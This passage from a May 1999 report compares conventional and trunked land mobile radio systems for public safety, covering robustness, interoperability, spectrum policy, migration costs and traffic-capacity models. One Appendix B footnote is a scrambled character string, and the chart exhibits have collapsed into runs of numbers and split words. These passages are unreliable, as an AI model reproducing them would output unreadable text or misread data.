then one of the other repeater channels assumes control channel responsibility. If this feature is not provided in a centralized trunked network, a loss of a control channel will typically make the whole site function in so called "soft-fail" mode meaning that the site operates in a conventional mode. If neither control channel reassignment, nor the soft-fail feature is available, the loss of a control channel will lead to a loss of the entire site. The use of a central controller, creates a single point of failure for certain network functions in centralized trunked and hybrid network architectures. The controller is responsible for allocating channels to all user groups. If a redundant controller or other controller backup capability is not used, the failure of a controller can eliminate the network’s ability to dynamically assign channels and can bring the network down. Depending upon manufacturer specifications, individual sites may be able to operate in stand-alone mode without a central controller, providing some communication ability to all or some users within range. The robustness qualities of the hybrid network conventional overlay are similar to those of a stand-alone conventional network architecture. The network robustness of a trunked overlay of a hybrid network is essentially similar to that of a stand-alone trunked network. The overall robustness of a network is determined by the robustness of its least robust overlay. Comparisons of Conventional and Trunked Systems 32 May 1999 5.10 Multiorganizational Interoperability Conventional networks provide service to different user groups by frequency separation. Each user group can be provided its own half-duplex or full-duplex channel. In this way, both privacy and network sharing can be gained. Although each channel requires its own repeater/base station, other multichannel components such as consoles and radios can be shared by scanning or manually switching among all authorized channels. Authorized users may be able to access other groups on the same or nearby networks by programming their radio to access other channels/frequencies. Limitations to this ability arise if different channels use incompatible components made by different vendors or if networks operate in incompatible modes (25 kHz versus narrowband, FDMA versus TDMA, or analog versus digital, unless radios conform to interoperability standards such as TIA/EIA-102). In addition, if the components for each channel are fully compatible, similar features can be provided to all users of all groups. If air interface interoperability is not feasible, audio cross-patching between dispatch panels is widely used. Trunked networks are not more or less interoperable than conventional networks of the same level of technology. As in case of conventional networks, users from trunked networks cannot access other networks if their radios do not operate on the other network’s frequencies or use different technologies (e.g., digital versus analog, narrowband versus 25 kHz wideband). Networks with different trunking protocols cannot interoperate. Nonetheless, trunked networks have some advantages for management of interoperability features. For example, creation of new talk groups or adding new members to an existing talk group can be done in real time, allowing formation of talk groups across organizational lines on as-needed basis. As in conventional networks, if air interface interoperability between networks is not feasible, audio cross-patching between dispatch panels can be used. Hybrid networks provide the same level of interoperability among organizations as trunked networks. 5.11 Ability To Handle Multiple Voice and Data Applications Current conventional networks do not allow the ability to simultaneously transmit both voice and data signals on the same channel. At any one moment, a radio user may transmit only voice or data. The technical features with the greatest effect on data transmission characteristics of a network the most are the channel’s signal-to-noise ratio, available bandwidth, and modulation technique. The most important parameter for data transmission is the channel’s signal-to-noise ratio. As a general rule, this ratio is low for LMR compared with other data transmission mediums and decreases with distance from the base station. Consequently, although some advanced applications can support rates as high as 19,200 bits per second (bps), data rates for LMR are typically low, averaging at around 2400 bps or less. In the case of analog conventional networks, data transmission capability is limited by the noisy medium and available bandwidth to very low speed (typically 2400 bps). Comparisons of Conventional and Trunked Systems 33 May 1999 Sharing of a conventional channel for both voice and data is not typically performed because of the incompatibility of voice and data usage and bandwidth requirements. However, the use of dedicated conventional channels and packet-switched data format for wireless data transmissions, regardless whether the technology is analog or digital, is a common industry practice. The technical features that affect data transmission characteristics of a network the most, such as the channel’s signal-to-noise ratio, available bandwidth, and modulation technique, are not dependent on the choice of conventional or trunked architecture. Nonetheless, in certain network configurations, if transmission trunking is used as opposed to conversation trunking, the call setup delay time for re-establishing a trunked call between data bursts may negatively affect the data transfer rate. Therefore, in many cases, the use of circuit-switched data applications may be more efficient for trunked networks, since it requires only one call setup in the beginning of the call, but it can vary depending on a specific network configuration and data-handling protocols. Packet data applications such as CDPD can be implemented on trunked systems using dedicated data channels or idle channels as in AMPS application. Among the three architecture types, the hybrid architecture is better suited for designing multiple voice and data applications because it gives the flexibility of placing data either on dedicated conventional channels (mostly for packet-switched applications) or on trunked infrastructure (mainly for circuit-switched data). Such a configuration allows for both groups of network requirements, the voice and the data, to be met more efficiently. 5.12 Technology Evolution Technology is moving, in general, toward digital networks. Two of the most important public safety user communications requirements, better quality of audio and encryption, are advanced by the use of digital technology. Compared with their analog counterparts, digital networks give the advantage of more consistent toll-quality voice communications over a wider coverage area. They also accommodate encryption more easily, allowing encrypted communications be conducted over multiple cross-patches without degradation of voice quality. In addition, driven by increasingly scarce spectrum and higher spectrum efficiency requirements placed on vendors, networks with five or more channels will tend to be trunked in the future. Large conventional networks will not be as supported or available in the future as they are currently, because of the greater spectrum efficiency achieved through trunking. However, small conventional networks will still be available for smaller user organizations and networks. Trunked LMR networks’ evolution is driven by the same market demands, which include better audio quality, higher spectral efficiency, increased user and traffic capacity, enhanced data transmission capability, communications privacy, and ease of use and management. In an attempt to satisfy these demands, manufacturers are producing networks with digital voice, advanced digital modulation techniques, encryption, and over-the-air reprogramming. Comparisons of Conventional and Trunked Systems 34 May 1999 The LMR technology is migrating towards more spectrum-efficient networks to serve more users with less spectrum. In the TIA/EIA-102 Phase I, spectral efficiency of 12.5 kHz per channel was achieved. The second phase of the TIA/EIA-102 suite of standards has two tracks: FDMA (frequency division multiple access) and TDMA (time division multiple access). To achieve a spectral efficiency equivalent to 6.25 kHz per channel, it is possible that Phase II of the TIA/EIA-102 may be a TDMA network. Advances in cellular technology may make it a major competitor to traditional LMR networks. For example, one manufacturer is planning to introduce an LMR look-alike system that runs on existing GSM networks. The system is intended to allow GSM operators to sell LMR services as if on a private network. The new system needs no network-level alterations, except for a new dedicated server. At the client end, necessary additions may include new terminals incorporating LMR functions, as well as a dispatch console running on a PC to provide central control for companies subscribing to the service. Two major drawbacks of such systems would be an inherent, significant call delay resulting from consecutive dial-up of talk group members and unavailability of the repeater talk-around mode when mobiles communicate with each other directly (without a repeater). 5.13 Policy Impact The Federal Communications Commission (FCC) regulates state and local public safety agency communications, and the National Telecommunications and Information Administration (NTIA) has jurisdiction over federal agency communications. Both have emphasized public safety spectrum allocation and efficient use and have historically supported the use of both conventional and trunked LMR technologies. Recent policy actions, however, indicate that as technology progresses and available spectrum becomes increasingly scarce, the FCC is encouraging public safety users to migrate to LMR networks using trunked technology [4]. Also, the FCC National Public Safety Plan Report and Order provides incentives for using trunking and requires small entities with minimal requirements to join together in using a single system where possible4, thus endorsing trunking as a spectrum-efficient technology. FCC and NTIA regulations that impact network architecture considerations are explained below. 5.13.1 Development of a Public Safety National Plan Until 1987, the FCC did not require public safety agencies to use one type of technology over another. In 1987, the FCC formulated a National Public Safety Plan Report and Order, allocating 821-824 MHz and 866-869 MHz for public safety use. Five channels in this band were designated for use only in mutual aid situations to facilitate interoperability, so-called "NPSPAC channels." These channels were designated solely for conventional LMR technology, which was chosen as the lowest common denominator. Comparisons of Conventional and Trunked Systems 35 May 1999 The national plan also specified that any public safety agency applying for four or fewer channels for their private network in the 821-824/866-869 MHz bands might choose to build conventional or trunked networks; however, agencies applying for more than four channels in that band were required to build trunked LMR networks without specifying a particular trunking standard or technology. Small agencies with minimal requirements were required to join together in using a single system where possible5. 5.13.2 Spectrum Refarming In October 1997, the FCC implemented new rules (PR Docket No. 92-235), termed the refarming rules, to improve spectrum efficiency standards for non-federal public safety LMR networks operating at frequencies below 800 MHz. The new rules consolidated seven categories of public safety services into one public safety pool and, as shown in Exhibit 12, created narrower channels. Manufacturers are to phase in new narrowband equipment that meets the new channeling guidelines, and use of dual mode (conventional/trunked) equipment is now permitted. Neither existing public safety licensees nor new applicants were required to replace their existing systems or to use any particular type of technology or operate in any particular frequency band. The rules ensure that narrowband equipment will be available by requiring that radio equipment type accepted by the FCC over a ten-year period meets increasingly efficient spectral requirements. Under this plan, non-federal public safety radio users have the freedom to choose equipment that best fulfills their needs while balancing technical capabilities and financial considerations. [5] Frequency Band Old Channel Plan New Channel Plan 150–162 MHz (nationwide) - 30 kHz channels spaced every 15 kHz, in general - a new channel is added between each existing channel. - operation on the new channel is restricted to equipment designed to operate on channel bandwidths of 12.5 kHz or less 450–470 MHz (nationwide) - 25 kHz primary channels spaced every 25 kHz, in general - 12.5 kHz low-power channels spaced 12.5 kHz and offset from primary channels - three new channels are added, every 6.25 kHz, above each existing primary channel - operation on the new channels 6.25 kHz removed from a primary channel is restricted to equipment designed to operate on channel bandwidths of 6.25 kHz or less - operation on the new channels 12.5 kHz removed from a primary channels is restricted to equipment designed to operate on channel bandwidths of 12.5 kHz or less. 421–430/470–512 MHz (selected cities) - 25 kHz channels, in general, spaced every 25 kHz - three new channels are added, every 6.25 kHz, above each existing channel - operation on the new channels 6.25 kHz removed from an existing channel is restricted to equipment designed to operate on channel bandwidths of 6.25 kHz or less - operation on the new channels 12.5 kHz removed from an existing channel is restricted to equipment designed to operate on channel bandwidths of 12.5 kHz or less Exhibit 12 Refarmed Frequency Bands Prior to the implementation of the refarming rules, centralized trunking was not generally permitted on public safety LMR networks operating at frequencies below 800 MHz. The FCC Comparisons of Conventional and Trunked Systems 36 May 1999 believed that centralized trunking did not offer adequate interference protection. The refarming order amended the rules to permit public safety entities to build centralized trunked LMR networks below 800 MHz, provided that: • The licensee had an exclusive license area (applicable only to users of the 470−512 MHz band) • The licensee did not have an exclusive service area, but obtained consent from all licensees who had co-channel or adjacent channel operations. As for federal users, the NTIA requires that after January 1, 1995, all new systems, and after January 1, 2005, all systems in the 162-174 MHz band must conform to narrowband standards. After January 1, 1995, all new systems and after January 1, 2008, all systems in the 406.1-420 MHz band must conform to narrowband standards. After January 1, 1997, all new systems and after January 1, 2008, all systems in the 138-150.8 MHz band must conform to narrowband standards. [12] 5.13.3 Allocation of Additional Public Safety Spectrum In the Reallocation Report and Order6, the FCC has allocated 24 MHz of spectrum in the 764−776/794−806 MHz bands to public safety use. The service rules for this spectrum have been released in First Report and Order and Third Notice of Proposed Rulemaking called "The Development of Operational, Technical, and Spectrum Requirements for Meeting Federal, State, and Local Public Safety Agency Communication Requirements through the Year 2010. Establishment of Rules and Requirements for Priority Access Service" (FCC 98-191). The FCC separated the spectrum into two categories: general use, which includes everyday operations in addition to mutual aid and emergency preparedness or task force operations; and interoperability, which is reserved for situations that require multiple agencies to communicate and amounts to approximately 10 percent of the new band. It also required all 700-MHz band equipment (general use, interoperability, and reserve) use digital modulation as its primary modulation mode.7 The rules do not require a specific digital modulation standard, and public safety licensees are allowed to independently select the equipment and technologies that best meet their particular communications needs on general use or reserve channels. Of greatest impact to conventional and trunked network architectures is the FCC’s decision to establish the Public Safety National Coordination Committee (NCC) to work on interoperability issues in the 700- MHz band and specifically evaluating the possible use of trunking technology on interoperability channels and the adoption of a trunking standard. The FCC "will strongly recommend to the NCC that it immediately consider the benefits of employing trunking on (at least) a portion of the nationwide interoperability spectrum,8 and we (the FCC) will direct it to make a timely recommendation to us as to whether Commission action to require trunking on nationwide Comparisons of Conventional and Trunked Systems 37 May 1999 interoperability spectrum is needed.9" In the event that a trunking standard for nationwide interoperability use is required, the FCC would prefer, instead of choosing one trunking technology on the market over another, to have a compatible trunking standard be developed by an American National Standards Institute-accredited standard setting body. 5.13.4 Federal Entities Seeking Authorization To Build Trunked Networks Federal users seeking to build or expand LMR networks must define their needs, determine what type of system will meet their needs, and provide the required information to their agency to forward to the NTIA for review. Under the Interdepartment Radio Advisory Committee (IRAC) , the Spectrum Planning Subcommittee (SPS) reviews new and previously approved LMR trunking technologies. One of their responsibilities is to certify that the operation of the technology in the proposed environment will not cause harmful interference to other NTIA-approved communications networks. The process that agencies must follow and the corresponding data that users must compile for submission to the NTIA to receive a frequency assignment differ depending on whether the proposed LMR network is conventional or trunked. Users proposing to build or modify a conventional LMR system must only submit frequency application data to the IRAC Frequency Assignment Subcommittee (FAS). No other review is usually required. Users proposing to build or modify a trunked LMR system must submit data to the SPS for a system review and approval. This is followed by frequency application to the FAS frequency application review. The purpose of the system review is to certify the type of equipment, system operation, appropriate channel loading and spectrum availability. The Office of Management and Budget (OMB) Circular A-11 states that funding for the system will not be released until the NTIA issues its system certification. The SPS requires different types of information and varying levels of detail for each trunked LMR system option. For example, if an applicant is proposing to modify an existing trunked LMR system, the SPS requires information only on the details of the proposed modification to ensure that it is compliant with NTIA regulations, rather than extensive information on the entire system, because the system has already been certified. If an applicant is proposing to build a new trunked system, the applicant must determine if the proposed LMR trunking technology has been previously certified. If the technology has been previously certified, the applicant must submit information to the SPS to certify the operation of the technology in the proposed environment. If the technology has not been previously certified, the applicant must submit technical and operational systems data to the SPS for review. [11] Comparisons of Conventional and Trunked Systems 38 May 1999 5.14 Compatibility with Legacy Systems In the simplest case, new analog conventional systems are compatible with legacy analog configurations (assuming the absence of vendor-to-vendor incompatibilities). However, achieving compatibility between current digital conventional systems and legacy analog system represents a challenge. Of the open standards, TIA/EIA-102 is the only suite of standards that has addressed over-the-air compatibility with legacy analog LMR systems. TIA/EIA-102 Phase I requirements provide over-the-air compatibility of Phase I conventional digital equipment with legacy conventional analog equipment. Digital trunked systems usually employ a gateway technique for migration from analog systems. The technique consists of installing the new system as an overlay and creating a connection (gateway) between the old and the new network using the baseband (audio) level to make them interoperable. This way, both systems can work simultaneously, allowing a gradual transition to the new system. Since hybrid systems consist of conventional and trunked overlays, all compatibility considerations that apply to the two systems individually will be correct for the respective overlays of a hybrid system. 5.15 Required User Discipline As mentioned previously, an essential characteristic of conventional systems is that only one user can communicate over a half-duplex channel at a time. To circumvent call congestion and blocking, users must actively monitor or listen to the channel and wait for it to become free. If a conversation between two users is ongoing, the user must maintain discipline and avoid interrupting the conversation. Consequently, conventional networks require a significant amount of user discipline on the part of each radio user to ensure that all the users on the network are able to share the channel. A conventional network does not make use of a network controller and control channel to identify a free channel within the overall network. Users on trunked networks do not have to monitor the system for an available channel to make a call. The network does it for them. After the PTT button is pushed, depending on user’s access priority level, the trunking controller: 1. Assigns the user a channel, if there is one available 2. If none is available and the user requires a priority access, puts the user in the beginning of a waiting queue. If the user does not require a priority access, puts the user in the end of the queue. 3. When a channel is assigned, the user is usually notified by the radio audibly. Consequently, trunked networks do not require any user involvement to select an available channel and do not require channel-sharing discipline from their users as in Comparisons of Conventional and Trunked Systems 39 May 1999 conventional systems. They do require patience during system busy times waiting for a free channel. Nonetheless, other types of network discipline that prevent misuse and possible overloading of a trunked network, such as unauthorized or overly long telephone and two-way calls, are critical to efficient operation of trunked networks. Most trunked systems provide built- in system management capabilities to prevent these violations. Since hybrid networks consist of conventional and trunked overlays, all network considerations that apply to the two systems individually will be correct for the respective overlays of a hybrid network. 5.16 Network Management Network management of a conventional network includes maintaining network components, allocating and managing user groups (also known as talk groups) among available channels, upgrading network components when necessary, managing encryption capabilities, managing and operating over-the-air features, optimizing performance, and managing intersystem interoperability. These network management responsibilities are not unique to conventional networks when compared with other types of LMR configurations. Since most conventional networks do not make use of computer logic to handle network operation, they require more manual management and have fewer automated management functions than trunked networks. Network management of a trunked network also includes maintaining network components, upgrading network components when necessary, managing encryption capabilities, managing and operating over-the-air features, optimizing performance, and managing intersystem interoperability. Compared with conventional network management, trunked network management requires more complex network configuration and planning. Depending on organizational mission and user requirements, a choice of network trunking type (transmission or conversation trunking) must be made with associated hang and time-out times. Allocating and managing talk groups on a trunked network has a greater importance, since, if done improperly, it can degrade network performance and capacity to a great degree, similar to assigning too many users to a conventional channel. To control misuse that may lead to network overloading, such as unauthorized or overly long telephone and person-to-person calls, network management has to establish a conversation time-out feature, or use network accounting. Since hybrid networks consist of conventional and trunked overlays, all network management considerations that apply to the two systems individually will be correct for the respective overlays of a hybrid network. Comparisons of Conventional and Trunked Systems 40 May 1999 5.17 Network Operator Training Depending on a particular system configuration, training of conventional network operators/dispatchers is not complex and is provided by many agencies in-house. Nonetheless, larger conventional systems may require a greater and more detailed knowledge of system configuration than in trunked systems. Many public safety professional associations have mini courses that provide operator training. Network maintenance personnel must understand basic radio communications principles and are trained either in-house or by a manufacturer. Training of trunked network operators/dispatchers is not much more complex and sometimes it is even easier than conventional networks training Although sometimes provided by many agencies in-house, due to the large size, complexity, and degree of automation of some trunked networks, network maintenance personnel must undergo extensive training and frequent updates. Usually, such training is available from radio system manufacturers and is a often part of the original contract. The training typically includes fundamentals of radio communications, trunked network configuration and maintenance, base station and console equipment maintenance and testing, and maintenance and troubleshooting of the wired-to-wireless link. The duration of the training can be from two to four weeks depending on the complexity of the system, technical background of the individuals, and the degree of familiarity with the particular technology. Since hybrid networks consist of conventional and trunked overlays, dispatch and maintenance personnel should be trained to operate and maintain both types of systems. Comparisons of Conventional and Trunked Systems 41 May 1999 5.18 Network Cost Effectiveness The cost effectiveness of a particular architecture can be determined only on a case-by- case basis, since it depends on many case-specific considerations and conditions. Among the considerations that need to be taken into account when building and costing a system are the following: • Mission • Number of users • Number of user groups • User group sizes • Available spectrum • Coverage requirements • Type of terrain • Acceptable call setup delay • Data transmission requirements • Security and encryption requirements • Interoperability requirements • Available interconnect options. Some very general comparisons of estimated costs associated with network capacity versus cost performance are given in Exhibit 13. The assumptions and mathematical capacity considerations are attached in Appendix C. The results of this comparison show that although conventional architecture cost is generally lower than that of trunked, cost efficiency is determined most by technology used, specific configuration, and user options selected, not by type of architecture. Comparisons of Conventional and Trunked Systems 42 May 1999 Relative User Capacity, System Cost, and Cost per User of Different Architectures/Technologies as Compared to Legacy Systems Given Same Amount of Spectrum and Coverage Area 0% 1000% 2000% 3000% 4000% 5000% 6000% 7000% Con ven tion al VHF An alog - "Legacy System " Con ven tion al VHF Digital - Narrowban d Con ven tion al UHF An alog Con ven tion al UHF Digital - Narrowban d Con ven tion al Advan ced 800 MHz Tru n kin g: VHF Scan - based - Narrowban d Tru n kin g: UHF Scan - based - Narrowban d Tru n kin g: VHF Low-En d - Narrowban d Tru n kin g: UHF Low-En d - Narrowban d Tru n kin g: VHF High - En d - Narrowban d Tru n kin g: UHF High - En d - Narrowban d Tru n kin g: Advan ced VHF 4-slot TDMA Tru n kin g: Advan ced UHF 4-slot TDMA Tru n kin g: Advan ced 800 MHz 4-slot TDMA Tru n kin g: Advan ced 800 MHz Sim u lcast Tru n kin g: Advan ced 800 MHz Zon e- Type Architecture/Technology Type Difference as Compared to Legacy Systems Relative User Capacity Relative System Cost Relative Cost per User Exhibit 13 Estimated Network Architecture/Technology Capacity and Cost Comparison in Relation to Legacy Systems Comparisons of Conventional and Trunked Systems 43 May 1999 5.19 Considerations for Migration to Trunking One of the most important considerations when migrating to a trunked system is usually cost. As was concluded in the previous section, the type of architecture does not greatly affect the cost of a system. Cost is largely a function of a technology choice (analog versus digital, lower bands versus 800 MHz, FDMA versus TDMA), specific configuration (simulcast, multicast, zone-type), and selected user options (roaming, encryption, over-the-air rekeying, etc.). As shown in Exhibit 13, the estimated difference in the upfront costs of legacy and state-of-the art networks is so significant (between 400 and 2400 percent) that many organizations often have difficulty finding necessary funds10. Nonetheless, with some advanced technologies, when network cost is calculated on a per-user basis, it can be lower than that in legacy systems by up to 40 percent, even though the advanced network provides all the benefits of new technology, including data transmission, encryption, and security. Per-user savings are achieved because the advanced networks have the capacity to handle a much greater number of users than the legacy systems. Beside the financial hurdles, there are legislative and technical considerations concerning available spectrum that make migration to trunking on frequencies below 800 MHz difficult. Decentralized trunked networks, in which radios scan the available channels and find one that is clear, have been used on the lower LMR bands since the 1970s. Now, centralized trunked networks are also permitted on frequencies between 150 and 512 MHz (except 220-222 MHz), if the following requirements are met (per FCC Second Report and Order FCC 97-61 [PR Docket No. 92-235 adopted on February 20, 1997 and released on March 12, 1997]; see 90.187 of 47 CFR): 1 The licensee has an exclusive service area (470-512 MHz band only); or 2 The licensee does not have an exclusive service area, but obtains consent from all licensees who have co-channel and/or adjacent channel stations as follows: 2.1 Trunking will be permitted by the FCC on frequencies where applicant or licensee does not have an exclusive service area, provided that all frequency coordination requirements are complied with and consent is obtained from all of the affected licensees (Exhibit 14). Proposed Station Bandwidth Consent Has To Be Obtained from Licensees with Operating Frequencies Removed from Proposed Station by: 25 kHz 15 kHz 12.5 kHz 7.5 kHz 6.25 kHz 3.75 kHz Exhibit 14 Table of Co-Channel and Adjacent Channel Frequency Coordination Requirements Comparisons of Conventional and Trunked Systems 44 May 1999 2.2 Consent also has to be obtained from licensees with service areas (Exhibit 15) that overlap a circle with radius 113 km (70 mi.) from the proposed base station. (For more information see 90.205 of 47 CFR). Or, alternatively, applicants may submit an engineering analysis based upon generally accepted engineering practices and standards, which demonstrates that the service area of the trunked network does not overlap any existing stations whose service areas overlap a circle with radius 113 km (70 mi.) from the proposed base station. Proposed Station Band Service Area Calculated as a Contour at: 150-174 MHz 37 dBu 421-512 MHz 39 dBu Exhibit 15 Table of Service Area Calculation Requirements 3 The consensual agreements among licensees must specifically state the terms agreed upon and a statement must be submitted to the FCC indicating that all licensees have consented to the use of trunking. 4 Trunking of networks licensed on paging-only channels or licensed in the Radiolocation Service is not permitted by the FCC. Currently, no provisions allow LMR licensees in the bands below 470 MHz to obtain an exclusive service area. The FCC proposed that some form of exclusivity be allowed in the shared LMR bands below 470 MHz, but has not yet ruled on this issue. Licensees operating in the 470-512 MHz band may obtain an exclusive service area if they meet requirements in the Exhibit 16. Type of Organization Loading Requirement Public Safety Pool 50 user units per channel Industrial/Business Pool 90 user units per channel Exhibit 16 Table of Service Area Calculation Requirements Meeting all these licensing requirements in order to migrate to a trunked network in the bands below 800 MHz could be a difficult and time-consuming process unless a decentralized trunked network is proposed. Another hurdle to migration to trunked is the allocation of legacy channels. The channels that were assigned for simplex operation are sometimes not suitable for half and full duplex operation which is necessary for trunking. To suppress unwanted harmonics, intermodulation, and general interference between forward and reverse frequencies, transmit and receive (T-R) frequencies should have a minimum specified separation, usually greater than 1 MHz (potentially much greater and increasing with frequency). In the VHF band, where a significant percentage of frequencies was licensed for simplex communications, T-R separations are inconsistent, with some as small as 120 kHz. These spacings require customized installations with separate antennas and costly notch-and-pass filters targeted at specific frequencies. In these cases, off- Comparisons of Conventional and Trunked Systems 45 May 1999 the-shelf equipment with broad pass bands can rarely be used with satisfactory results, causing increased cost. This problem also exists in the UHF band. In the UHF band, where T-R separation of a given channel is typically 5 MHz, T-R splits can still be as little as 500 kHz as multiple channels may be in operation at a single site. While co-channel and adjacent channel interference concerns are not as great as in the VHF band, due to smaller propagation range on these frequencies, network designers must still provide customized installations in the UHF band to account for site-specific requirements. Again, these installations usually include separate antennas and costly filtering equipment. The comparison of installation costs of filtering equipment in these bands done by the PSWN program [6] shows that cost would likely double due to insufficient T-R separation. Another spectrum issue arises when migrating to a trunked network. The number of frequencies is, in many cases, insufficient for optimizing load capacity of a trunked network. As shown in Appendix B, the capacity improvement from trunking increases as the number of channels increases. If a system has only two or three channels, the improvement is insignificant. As discussed in earlier chapter, if multiple sites are needed for coverage and a zone-type trunked architecture is used for a network, the total number of channels required by the network will be calculated as N*R, where N is number of channels per site and R is a frequency reuse ratio (typically 4 or 7). A 5-channel network with a frequency reuse ratio of four, for example, needs 20 channels. If it is a centralized trunked network, one of the channels at each site is used for control and the traffic is handled by the remaining four channels. In many cases agencies do not have access to additional channels in the lower LMR frequency bands and they employ simulcast-type of trunked system design. Simulcast networks have significantly lower user capacity than zone-type networks and are significantly more expensive, since the transmitters at each site need to be phase-locked to minimize interference in overlapping coverage areas, requiring additional equipment. Agencies sometimes resolve many of the migration issues by teaming up with neighboring jurisdictions and agencies and pooling their spectrum and financial resources. A multi-agency/multi-jurisdiction approach for building trunked LMR networks offers significant benefits: • Combined channel resources provide a better trunking capacity improvement • Economies of scale allow a lower per user investment • Often the organizations work on adjacent or shared channels, making it easier to gain exclusivity for these channels • A multi-jurisdictional network provides a wider coverage area for each of the jurisdictions • Better communications interoperability results among agencies on one network. Comparisons of Conventional and Trunked Systems 46 May 1999 6.0 SUMMARY The most significant difference between conventional, trunked, and hybrid architectures is network load capacity for systems with greater than 60 users (mission specific). The analysis conducted for this report determined that other considerations were not affected by the choice of network architecture type to the same degree. Typically, trunking allows a system to serve more users with the same amount of spectrum or less. Since spectrum has become a scarce resource, this property of trunking will drive its use in the future. Comparisons of Conventional and Trunked Systems A-1 May 1999 APPENDIX A. LIST OF ACRONYMS APCO Association of Public-Safety Communications Officials International, Inc. AMPS Advanced Mobile Phone System bps Bits per second CDMA Code-Division Multiple Access CDPD Cellular Digital Packet Data CFR Code of Federal Regulations CSMA Carrier Sense Multiple Access EIA Electronics Industry Association ID Identification number FAS Frequency Assignment Subcommittee FCC Federal Communications Commission FDMA Frequency-Division Multiple Access GOS Grade of Service GSM Global System for Mobile communications IRAC Interdepartment Radio Advisory Committee kbps Kilobits per second kHz Kilohertz LMR Land Mobile Radio MHz Megahertz ms Millisecond NTIA National Telecommunications & Information Administration PC Personal Computer PSWN Public Safety Wireless Network PTT Push-to-talk RF Radio frequency SCADA Supervisory Control and Data Acquisition SPS Spectrum Planning Subcommittee TDMA Time-Division Multiple Access TIA Telecommunications Industry Association UHF Ultra High Frequency band UHF-T Ultra High Frequency band for Television VHF Very High Frequency band Comparisons of Conventional and Trunked Systems B-1 May 1999 APPENDIX B. IMPACT OF ARCHITECTURE ON NETWORK CAPACITY AND CALL DELAY This appendix illustrates the impact of using conventional and trunked systems on network capacity and call delay. Traffic modeling shows that the computer-controlled access capability of trunked systems provides less call delay and thus greater throughput as traffic load in a typical system increases. Exhibit 17 compares transmit delays for conventional and trunked channels as a function of loading. Two types of traffic models were used to perform an estimate of trunking load capacity, one for each of the trunked system designs. The Engset Model, which presumes that blocked calls are lost with finite sources, was used for calculating theoretical load capacity of a trunked system with decentralized control. The Delay Model, a finite source model, which presumes that blocked calls are delayed, was used for calculating theoretical load capacity of a trunked system with centralized control. Note that these are just theoretical models that do not take into account many capacity-limiting factors of real system implementations, such as specific system configuration, signal strength, etc. Exhibit 18 compares conventional and trunked capacity11 for up to 20 channels using each model, where P is probability of a successful call by an average user. Because the scale of this exhibit makes it difficult to see differences when only a few channels are involved, Exhibit 19 offers a comparison of capacity estimates for systems with up to five channels. 8QIRUWXQDWHO\'HOD\0RGHOFDOFXODWLRQVIRUQXPEHURIFKDQQHOVKLJKHUWKDQWHQFRXOGQRWEHSHUIRUPHGGXHWRVRIWZDUHOLPLWDWLRQV Comparisons of Conventional and Trunked Systems B-2 May 1999 10 -2 10 -1 10 0 10 1 10 2 0 0.5 1 1.5 2 2.5 3 3.5 4 4.5 Offered Load To System (message-sec/minute) Transmit Delay (seconds) Conventional and Trunked Radio Channel Transmit Delay (CSMA Versus Queued Access) 3-channel trunked 2-channel trunked 1-channel conventional Calculations are based on an average user message of 6 seconds Exhibit 17 Conventional and Trunked Radio Channel Transmit Delay Comparison (CSMA Versus Queued Access) Comparisons of Conventional and Trunked Systems B-3 May 1999 Trunked Versus Conventional Capacity Estimated Using Two Finite Source Traffic Models 70 163 264 369 479 936 32 90 161 241 327 706 806 15 51 102 164 232 551 638 47 169 314 470 632 1,312 1,486 3,085 3,265 9 54 126 212 308 743 860 1,977 2,106 3 23 65 120 190 525 619 1,554 1,664 47 94 141 188 235 423 470 893 940 9 18 27 36 45 81 90 171 180 3 6 9 12 15 27 30 57 60 - 250 500 750 1,000 1,250 1,500 1,750 2,000 2,250 2,500 2,750 3,000 3,250 3,500 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 Channels Users Trunked: Delay Model @ P=0.75 Trunked: Delay Model @ P=0.95 Trunked: Delay Model @ P=0.99 Trunked: Engset Model @ P=0.75 Trunked: Engset Model @ P=0.95 Trunked: Engset Model @ P=0.99 Conventional: Engset @ P=0.75 Conventional: Engset @ P=0.95 Conventional: Engset @ P=0.99 Exhibit 18 Trunked versus Conventional Capacity Estimated Using Two Finite Source Traffic Models Comparisons of Conventional and Trunked Systems B-4 May 1999 Trunked Versus Conventional Capacity Estimated Using Two Finite Source Traffic Models (Up to Five Channels) 70 163 264 369 479 32 90 161 241 327 15 51 102 164 232 47 169 314 470 632 9 54 126 212 308 3 23 65 120 190 47 94 141 188 235 9 18 27 36 45 3 6 9 12 15 - 100 200 300 400 500 600 700 1 2 3 4 5 Channels Users Trunked: Delay Model @ P=0.75 Trunked: Delay Model @ P=0.95 Trunked: Delay Model @ P=0.99 Trunked: Engset Model @ P=0.75 Trunked: Engset Model @ P=0.95 Trunked: Engset Model @ P=0.99 Conventional: Engset @ P=0.75 Conventional: Engset @ P=0.95 Conventional: Engset @ P=0.99 Exhibit 19 Trunked versus Conventional Capacity Estimated Using Two Finite Source Traffic Models (Up to Five Channels) Comparisons of Conventional and Trunked Systems C-1 May 1999 APPENDIX C. COSTING ASSUMPTIONS AND MATHEMATICAL CAPACITY CONSIDERATIONS FOR TRUNKED SYSTEMS C.1 Assumptions 1. All systems have coverage over same geographic area 2. Coverage of VHF, UHF and 800 MHz systems is assumed to be provided by a respective number-of-sites ratio of 1:2:4. 3. All systems use the same amount of spectrum. Consequently, if the legacy conventional analog FM broadband system with a number of channels N has a total spectrum at N*25 kHz, a newer system with a channel bandwidth X has a number of channels calculated as N1=N*25 kHz/X 4. Average per user load on the system is 0.0073 Erlangs as was estimated in [1]. 5. The additional cost of phase-locking equipment for simulcast systems was not considered 6. New facilities (site facilities, dispatch centers, etc.) are not taken into account C.2 Traffic Models Used 1. For conventional capacity – Engset Model results for one channel are multiplied by the number of channels. 2. For decentralized trunked with no queueing – Engset Model is used for finite sources. 3. For centralized trunked systems (with queueing) – Delay Model is used for channels (N1-1), allowing for one control channel. 4. Results of the calculations by these models are below: Model Capacity, Number of Users Supported Channels 1 2 3 4 5 9 10 19 20 Delay Model (N1-1) - 70 163 264 369 479 936 N/A N/A Engset Model 47 169 314 470 632 1,312 1,486 3,085 3,265 Conventional 47 94 141 188 235 423 470 893 940 Comparisons of Conventional and Trunked Systems D-1 May 1999 APPENDIX D. REFERENCE LIST [1] Garry C. Hess, Land-Mobile Radio System Engineering. Artech House, 1993. [2] Edward N. Singer, Land-Mobile Radio Systems. Prentice Hall, 1994. [3] Roger L. Freeman, Radio Systems Design for Telecommunications. John Wiley & Sons, 1997. [4] Code of Federal Regulations: Telecommunications 47 Part 80 to end. National Archives and Records Administration, revised as of October 1, 1997. [5] Refarming Frequently Asked Questions. Federal Communications Commission, October 20, 